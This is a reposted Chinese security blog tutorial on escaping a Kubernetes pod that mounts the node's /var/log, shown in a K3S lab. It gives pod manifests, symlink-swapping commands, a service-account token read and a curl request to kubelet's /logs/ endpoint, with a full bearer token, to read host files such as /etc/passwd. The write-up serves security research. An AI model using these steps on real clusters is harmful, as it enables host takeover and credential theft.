Pod 挂载节点 /var/log 导致的容器逃逸

admin 2024年2月29日18:35:55评论11 views字数 5207阅读17分21秒阅读模式

逃逸场景

前提是处在一个挂载了节点主机 /var/log 目录的 Pod 中,或者,能够创建一个 Pod 并挂载节点主机的 /var/log 目录。

当我们拥有查看 Pod Log 的权限就能不受 Pod 内的安全限制获取到节点主机的任何文件(需要知道该文件的路径),比如主机的SSH私钥、各类配置文件、凭证信息等;当我们拥有查看 Node Log 的权限就能直接获取节点主机的全部文件系统。

Kubernetes 可利用的版本?应该是全版本范围。

通过 GitHub 搜索,可见这种危险配置范围很广。

https://github.com/search?q=hostPath%3A+++path%3A+%2Fvar%2Flog&type=code

Pod 挂载节点 /var/log 导致的容器逃逸


技术细节

kubernetes 如何查看日志

下图展示了 kubectl logs <pod_name> 的原理,后文会对此图进行实际的解释,

Pod 挂载节点 /var/log 导致的容器逃逸

logs原理图 https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/

当执行前文的命令后,kubelet 会在节点主机上的 /var/log 目录中创建一个目录结构,该结构用于表示节点上的 Pod,每个 Pod 在节点主机目录结构中都有一个相关的目录,

/var/log/pods/<命名空间>_<pod名称>_<podUID>

目录中有 *.log 文件 实际上是一个符号链接(logs原理图中①处),这个符号链接连接到位于 /var/lib/docker/containers 目录中的容器日志文件,容器日志文件通常存储在这个目录中。(这一切都是节点主机上的)

Pod 挂载节点 /var/log 导致的容器逃逸

kubelet 暴露了一个 /logs/ 端点(logs原理图中②处),它只在主机的 /var/log 目录中(logs原理图中③处)操作一个 HTTP 文件服务器,这个文件服务器使得日志文件对来自 API Server 的请求可访问。

符号链接到主机某个敏感文件

由上文【 kubernetes 如何查看日志】可得一个场景,当我们可以部署或者控制了一个挂载到主机 /var/log 的 Pod,则该 Pod 将能够访问主机上所有 Pod 的日志文件。更进一步,我们在 Pod 上替换 log 文件的符号链接,将其替换为指向 /etc/shadow 等主机上敏感文件的符号链接。

实验环境 K3S,先创建一个 Pod,将节点主机的 /var/log 目录挂载到 Pod  /var/log 上,

kubectl apply -f - <<EOFapiVersion: v1kind: Podmetadata:  name: mypodspec:  volumes:  - name: log-volume    hostPath:      path: /var/log  containers:  - name: mycontainer    image: ubuntu    command: ["sleep", "infinity"]    volumeMounts:    - name: log-volume      mountPath: /var/logEOF


进入 Pod 操作,

kubectl exec -it mypod -- /bin/bash

Pod 挂载节点 /var/log 导致的容器逃逸

在 Pod 中将下面符号链接修改为 0.log -> /etc/passwd

0.log -> /var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.log
root@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log lrwxrwxrwx 1 root root 165 Feb 28 01:33 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log -> /var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.logroot@mypod:/# root@mypod:/# rm /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.logroot@mypod:/# ln -s /etc/passwd /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.logroot@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.loglrwxrwxrwx 1 root root 11 Feb 28 01:44 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log -> /etc/passwdroot@mypod:/#

Pod 挂载节点 /var/log 导致的容器逃逸

使用 kubectl logs mypod 查看该 Pod 日志,所以我们需要有查看 Pod  log 的权限。kubectl 在读取第一行之后报错,因为它需要 JSON 格式,可以加 --tail=10 指定返回 Pod 的最后10行日志,即可读取到节点主机 /etc/passwd 文件中其他行数据,kubectl logs mypod --tail=1,下图中可得主机节点最后一个用户配置是 username:x:1001:1001::/home/username:/bin/bash

Pod 挂载节点 /var/log 导致的容器逃逸

需要注意的是,如果你在 Pod 中直接操作 0.log 文件,实际上是在操作 Pod 中的 /etc/passwd,而不是主机节点的,无意义。

Pod 挂载节点 /var/log 导致的容器逃逸

kubelet 是运行在节点上的 Kubernetes 组件之一,通常以 root 权限运行。这使得 kubelet 具有对节点上文件系统的读取权限。

由于 kubelet 会跟随符号链接,攻击者可以通过在 Pod 内创建符号链接来利用 kubelet 的 root 权限读取主机节点上的任何文件,而不受 Pod 内的安全限制。

符号链接到主机整个文件系统

创建相关模拟环境,

kubectl apply -f - <<EOFapiVersion: v1kind: ServiceAccountmetadata:  name: logger---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:  name: user-log-readerrules:- apiGroups: [""]  resources:  - nodes/log  verbs: ["get", "list", "watch"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: user-log-readerroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: user-log-readersubjects:- kind: ServiceAccount  name: logger  namespace: default---apiVersion: v1kind: Podmetadata:  name: mypodspec:  serviceAccountName: logger  containers:  - name: mycontainer    image: alpine    command: ["sleep", "infinity"]    volumeMounts:    - name: logs      mountPath: /var/log/host  volumes:  - name: logs    hostPath:      path: /var/log/      type: DirectoryEOF

进入 Pod 操作

kubectl exec -it mypod -- /bin/sh

添加符号链接

ln -s / /var/log/host/root_linkls -l /var/log/host/root_link

Pod 挂载节点 /var/log 导致的容器逃逸

安装 curl,问就是 BusyBox 的 wget 有问题(alpine 容器以 BusyBox 为基础的),

sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositoriesapk add curl

Pod 挂载节点 /var/log 导致的容器逃逸

获取 kubelet 的地址,在默认情况下,kubelet 的地址会被注入到 Pod 内的环境变量中,

env | grep KUBERNETES_有误,应用图片中获取kubelet地址

Pod 挂载节点 /var/log 导致的容器逃逸

获取 Pod 的 token,该身份具备对于 nodes/log 的 [get list watch] 权限,

cat /var/run/secrets/kubernetes.io/serviceaccount/token

获取宿主机(节点主机)的根目录以及hostname文件信息,

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImhQWmVMNXVyU254ZlFJOGNKMnVVa05HSWhiRnZQdlo4UmdZdWdRSFV0aUUifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQwNjM2Nzc1LCJpYXQiOjE3MDkxMDA3NzUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJteXBvZCIsInVpZCI6ImY4ZGJmODlmLWNiZjAtNDAxMi1iZjQ0LWNhOWJmM2ExZjdhMiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoibG9nZ2VyIiwidWlkIjoiOWYxNjc5YmQtNGFmOC00ZDIwLWIwMjctNzQzMmZiMzM2M2VmIn0sIndhcm5hZnRlciI6MTcwOTEwNDM4Mn0sIm5iZiI6MTcwOTEwMDc3NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6bG9nZ2VyIn0.nSR1ZRfE2R3YXM9la-cLO9QHqrho7N7iX4kVFTYgD0l5-IY_aKLKEBeXgsrf7rDT_bsSaQqQW0B4a4RXd5KikTwSq9dPt4ObJVw7-qWgk8034XsZmCWQ-AK_tuS1AvKibuDvz0WRachP6Oaw43EMmuGKXZFrT2zOitDAndSDhGPajTrI4VmtzYdlD_tvawVMKP60hZuCVhx21x2j4Idk35MfSQ7lTtC81J7bkSl1xwT04W8jmESEJXUB1-vCKSvMPPUiNv0LX9eH8y-Dd9vXQXNZr2fmRmUX8wTQ3MztqEbqj545-Pr4ojYZR9-ah-sNvAZDwWURV4PXp_rLJdl_tA' 'https://10.42.0.1:10250/logs/root_link/etc/hostname'

Pod 挂载节点 /var/log 导致的容器逃逸


参考

https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/

https://jackleadford.github.io/containers/2020/03/06/pvpost.html

https://github.com/danielsagi/kube-pod-escape

原文始发于微信公众号(安全小将李坦然):Pod 挂载节点 /var/log 导致的容器逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日18:35:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Pod 挂载节点 /var/log 导致的容器逃逸http://cn-sec.com/archives/2533846.html

发表评论

匿名网友 填写信息